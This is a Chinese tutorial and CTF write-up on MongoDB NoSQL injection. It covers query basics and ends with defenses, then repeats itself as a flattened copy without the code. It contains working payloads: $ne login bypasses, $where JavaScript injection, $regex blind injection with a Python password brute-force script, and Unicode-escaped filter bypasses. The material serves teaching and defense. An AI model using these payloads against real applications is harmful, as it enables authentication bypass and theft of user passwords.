Nosql 注入从零到一
字数 1531 2025-08-05 08:19:32

NoSQL注入从零到一:全面解析与实战指南

1. NoSQL基础概念

1.1 什么是NoSQL

NoSQL(Not Only SQL)是一种非关系型数据库技术,兴起于2009年,强调非关系型数据存储方式,与传统SQL数据库形成鲜明对比。

1.2 MongoDB简介

MongoDB是最流行的NoSQL数据库之一,特点包括:

  • 基于分布式文件存储
  • 文档型数据库,数据结构类似JSON
  • 使用C++编写
  • 高性能、可扩展

示例文档结构:

{
    "_id": ObjectId("60fa854cf8aaaf4f21049148"),
    "name": "whoami",
    "description": "the admin user",
    "age": 19,
    "status": "A",
    "groups": ["admins", "users"]
}

2. MongoDB核心概念对比

SQL概念 MongoDB概念 说明
database database 数据库
table collection 表/集合
row document 数据行/文档
column field 字段/域
index index 索引
table joins - MongoDB不支持
primary key primary key 主键(_id字段)

3. MongoDB基础操作

3.1 数据库操作

// 显示所有数据库
show dbs

// 切换/创建数据库
use DATABASE_NAME

// 显示当前数据库
db

3.2 集合操作

// 创建集合
db.createCollection("collection_name")

// 显示集合
show collections
// 或
show tables

3.3 文档CRUD操作

// 插入文档
db.collection.insert(document)

// 更新文档
db.collection.update(
   <query>,
   <update>,
   {
     upsert: <boolean>,
     multi: <boolean>,
     writeConcern: <document>
   }
)

// 查询文档
db.collection.find(query, projection)

// 删除文档
db.collection.remove(query)

4. NoSQL注入原理与分类

4.1 NoSQL注入特点

与传统SQL注入不同:

  • 不使用通用查询语言
  • 查询使用应用程序编程语言编写
  • 可能执行应用程序代码而不仅是数据库命令

4.2 注入分类

4.2.1 按语言分类

  • PHP数组注入
  • JavaScript注入
  • Mongo Shell拼接注入

4.2.2 按攻击机制分类

  1. 重言式注入:构造永真条件绕过认证
  2. 联合查询注入:改变查询返回数据集
  3. JavaScript注入:执行任意JavaScript代码
  4. 盲注:无回显时的布尔盲注

5. PHP中的MongoDB注入

5.1 重言式注入

利用$ne(不等于)等操作符构造永真条件:

// 原始查询
$query = new MongoDB\Driver\Query(array(
    'username' => $username,
    'password' => $password
));

// 注入payload
username[$ne]=1&password[$ne]=1

转换为MongoDB查询:

db.users.find({'username':{$ne:1}, 'password':{$ne:1}})

其他可用操作符:

  • $gt (大于)
  • $gte (大于等于)
  • $lt (小于)
  • $lte (小于等于)

5.2 JavaScript注入

5.2.1 $where操作符注入

$function = "function() { 
    var username = '".$username."';
    var password = '".$password."';
    if(username == 'admin' && password == '123456'){
        return true;
    }else{
        return false;
    }
}";

注入payload

username=1&password=1';return true;var a='1

5.2.2 Command方法注入

危险的使用方式:

$cmd = new \MongoDB\Driver\Command([
    'eval' => "print('Hello, $username!');"
]);

5.3 布尔盲注

使用$regex进行正则匹配:

// 判断密码长度
username=admin&password[$regex]=.{6}  // 成功
username=admin&password[$regex]=.{7}  // 失败

// 逐字符爆破
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
...

Python盲注脚本示例:

import requests
import string

password = ''
url = 'http://example.com/login.php'

while True:
    for c in string.printable:
        if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
            json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
            headers = {'Content-Type': 'application/json'}
            r = requests.post(url=url, headers=headers, data=json_payload)
            if 'Login Success' in r.text:
                print("[+] %s" % (password + c))
                password += c

6. Node.js中的MongoDB注入

6.1 重言式注入

绕过登录的JSON payload:

{"username":{"$ne":1},"password": {"$ne":1}}

6.2 Unicode编码绕过

$ne等关键字被过滤时:

{"username":{"\u0024\u006e\u0065":1},"password": {"\u0024\u006e\u0065":1}}
// 等价于
{"username":{"$ne":1},"password": {"$ne":1}}

7. NoSQL注入防御措施

  1. 输入验证:严格校验用户输入
  2. 参数化查询:使用驱动程序提供的安全方法
  3. 最小权限原则:限制数据库账户权限
  4. 禁用危险功能:如$whereeval
  5. 使用ORM:如Mongoose提供内置保护
  6. 编码转换:对特殊字符进行转义

8. CTF实战案例

8.1 [2021 MRCTF]Half-Nosqli

解题步骤

  1. 发现Swagger UI接口
  2. 使用NoSQL永真式绕过登录:
    {
      "email": {"$ne": ""},
      "password": {"$ne": ""}
    }
    
  3. 获取token后利用SSRF漏洞

8.2 [GKCTF 2021]hackme

解题步骤

  1. 发现NoSQL注入提示
  2. 使用Unicode编码绕过过滤:
    {"username":"admin", "password":{"\\u0024\\u0072\\u0065\\u0067\\u0065\\u0078":"^%s"}}
    
  3. 编写盲注脚本爆破管理员密码

9. 总结

NoSQL注入虽然与传统SQL注入有所不同,但危害同样严重。理解MongoDB的查询语法和操作符是发现和利用NoSQL注入的关键。防御方面,应始终遵循安全编码实践,不信任任何用户输入,并使用数据库驱动提供的安全方法进行查询。

NoSQL注入从零到一:全面解析与实战指南 1. NoSQL基础概念 1.1 什么是NoSQL NoSQL(Not Only SQL)是一种非关系型数据库技术,兴起于2009年,强调非关系型数据存储方式,与传统SQL数据库形成鲜明对比。 1.2 MongoDB简介 MongoDB是最流行的NoSQL数据库之一,特点包括: 基于分布式文件存储 文档型数据库,数据结构类似JSON 使用C++编写 高性能、可扩展 示例文档结构: 2. MongoDB核心概念对比 | SQL概念 | MongoDB概念 | 说明 | |---------|------------|------| | database | database | 数据库 | | table | collection | 表/集合 | | row | document | 数据行/文档 | | column | field | 字段/域 | | index | index | 索引 | | table joins | - | MongoDB不支持 | | primary key | primary key | 主键(_ id字段) | 3. MongoDB基础操作 3.1 数据库操作 3.2 集合操作 3.3 文档CRUD操作 4. NoSQL注入原理与分类 4.1 NoSQL注入特点 与传统SQL注入不同: 不使用通用查询语言 查询使用应用程序编程语言编写 可能执行应用程序代码而不仅是数据库命令 4.2 注入分类 4.2.1 按语言分类 PHP数组注入 JavaScript注入 Mongo Shell拼接注入 4.2.2 按攻击机制分类 重言式注入 :构造永真条件绕过认证 联合查询注入 :改变查询返回数据集 JavaScript注入 :执行任意JavaScript代码 盲注 :无回显时的布尔盲注 5. PHP中的MongoDB注入 5.1 重言式注入 利用 $ne (不等于)等操作符构造永真条件: 转换为MongoDB查询: 其他可用操作符: $gt (大于) $gte (大于等于) $lt (小于) $lte (小于等于) 5.2 JavaScript注入 5.2.1 $where操作符注入 注入payload : 5.2.2 Command方法注入 危险的使用方式: 5.3 布尔盲注 使用 $regex 进行正则匹配: Python盲注脚本示例: 6. Node.js中的MongoDB注入 6.1 重言式注入 绕过登录的JSON payload: 6.2 Unicode编码绕过 当 $ne 等关键字被过滤时: 7. NoSQL注入防御措施 输入验证 :严格校验用户输入 参数化查询 :使用驱动程序提供的安全方法 最小权限原则 :限制数据库账户权限 禁用危险功能 :如 $where 和 eval 使用ORM :如Mongoose提供内置保护 编码转换 :对特殊字符进行转义 8. CTF实战案例 8.1 [ 2021 MRCTF ]Half-Nosqli 解题步骤 : 发现Swagger UI接口 使用NoSQL永真式绕过登录: 获取token后利用SSRF漏洞 8.2 [ GKCTF 2021 ]hackme 解题步骤 : 发现NoSQL注入提示 使用Unicode编码绕过过滤: 编写盲注脚本爆破管理员密码 9. 总结 NoSQL注入虽然与传统SQL注入有所不同,但危害同样严重。理解MongoDB的查询语法和操作符是发现和利用NoSQL注入的关键。防御方面,应始终遵循安全编码实践,不信任任何用户输入,并使用数据库驱动提供的安全方法进行查询。